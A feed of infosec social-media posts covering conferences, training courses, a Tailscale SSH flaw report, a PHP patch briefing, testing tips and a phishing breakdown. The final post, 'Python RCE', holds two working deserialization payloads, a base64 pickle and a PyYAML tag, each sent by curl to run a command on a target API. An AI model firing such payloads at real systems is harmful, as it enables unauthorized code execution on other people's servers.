Denver is next. Wild West Hackin' Fest @ Mile High lands at the Sheraton Denver Downtown, steps from 16th Street. Feb 17-19, 2027. 🏔️

Register Here: wildwesthackinfest.com/wild-west-hack…

Missed the AI Battle Royale at Deadwood? Dave Kennedy vs. John Strand, moderated by Ed Skoudis.

Watch the full recording here youtu.be/U7pcmDtAn9o?si…. 🍿

RE tip of the day: The purpose of the Section Table is to tell the Windows Loader during process creation what memory ranges should be created with what permissions, and what parts of the executable should be placed there.
#infosec #cybersecurity #malware #reverseengineering

Off By One Security: Open Session! x.com/i/broadcasts/2…

Hackers asked for a third edition of The Web Hacker’s Handbook.

Rather than releasing another book which will quickly get out-dated, we created the Web Security Academy, a living, constantly updated learning hub with hands-on labs and video walk-throughs so you can learn by .

portswigger.net/web-security/

The first Unix Programmer’s Manual, released in 1971 (free PDF)

blog.adafruit.com/2026/11/03/the…

My new guide explains how to build a malware analysis lab with REMnux. A Windows VM and REMnux share an isolated network. The AI agent runs on REMnux, with the model as its one allowlisted destination.

zeltser.com/malware-analys…

I have a bunch of free books to give away in Arlington VA on 11/2 at the SANS AI Summit. Swing by if you want to grab one (while supplies last!)

‼️ Tailscale SSH Flaws Could Let Hackers Gain Root Access Across Servers

Details: cybersecuritynews.com/tailscale-ssh-…

A new security report warns that Tailscale SSH has flaws that could let a hacker move from one compromised device to root access on other servers. Tailscale SSH lets to each other over a private network. The report lists 11 findings in five groups.

They cover Tailscale’s SSH server, its serve and app connector features, the DERP relay client, and headscale, an open-source server that manages Tailscale networks.

The researcher tested Tailscale 1.104.2 and headscale 0.29.5 between October 22 and October 24, 2026. The most serious group involves Tailscale SSH. Its SSH server runs inside tailscaled, a background program with full root privileges on the machine.

#cybersecuritynews

Heads up on the PHP vulnerabilities that leaked yesterday. PHP is shipping emergency patches at 10 AM ET today for two critical flaws (CVE-2026-109618 and CVE-2026-109619, rated 9.2, reported as remote code execution). SANS is running a free live briefing at 12 PM ET with Moses Frost and Rich Greene covering what is confirmed, how to find every system running PHP, what to patch first, and what to do if you are on a version that will not get a fix. No registration. Watch live on LinkedIn here: linkedin.com/events/7518495….

An allowed tool call can return evidence that should stop an agent run. Inspect's tool-result reviewers run after execution, before the result reaches the model. Useful test: does an unexpected success stop the run when access was supposed to fail?

inspect.aisi.org.uk/review.html

When comparing security agents, what happened to the runs that timed out? A quality score calculated only from completed runs leaves that out. Keeping completion rate beside answer quality makes the trade-off visible.

elastic.co/security-labs/…

An OAuth edge case: the authorization request has no code_challenge, but the token request includes a code_verifier. RFC 9700 requires rejection. That mismatch is a useful negative test alongside the normal PKCE flow.
datatracker.ietf.org/doc/rfc9700/

A logout test has an interesting second half: what happens to a WebSocket that was already open? The page can return to the login screen while an existing connection keeps delivering protected data. Session termination needs to reach that connection too.
cheatsheetseries.owasp.org/cheatsheets/We…

Web scraping often results in broken scripts, hitting rate limits, bot detection, and CAPTCHAs.

In this beginner course, @ania_kubow shows you a simpler API-based approach to collecting web data.

You'll extract structured JSON from various sites, then build an app that searches ocally.

freecodecamp.org/news/web-scrap…

If you want to protect yourself against cybersecurity threats, it's helpful to know how attackers might hack you.

And in this course, you'll learn how to identify, exploit, and defend against real-world vulnerabilities.

You'll use Kali Linux and learn about penetration testing, like Nmap and Wireshark, and lots more.

freecodecamp.org/news/learn-cyb…

A real Calendly link. A fake Bloomberg interview. A phising chain designed to target people in AI and osint.

The first domain was genuine. The downstream workflow was not.

I break down how the campaign worked—and the checks that matter before you trust an “interview” invite. 🎥
tps://t.co/wIeUrBHITJ

#OSINT #phising

Always put a comma (,) in your passwords. This way if it ever ends up in a leak, it will end up breaking the CSV.

Follow for more cybersecurity advice.

Python RCE

Pickle
curl TARGET/api -H"Content-Type:application/json" -d'{"data":"gASVKwAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5RdlIwCaWSUYYWUUpQu"}'

PyYAML
curl TARGET/api/config -H"Content-Type:application/x-yaml" -d'!!python/object/new:subprocess.check_output [["id"]]'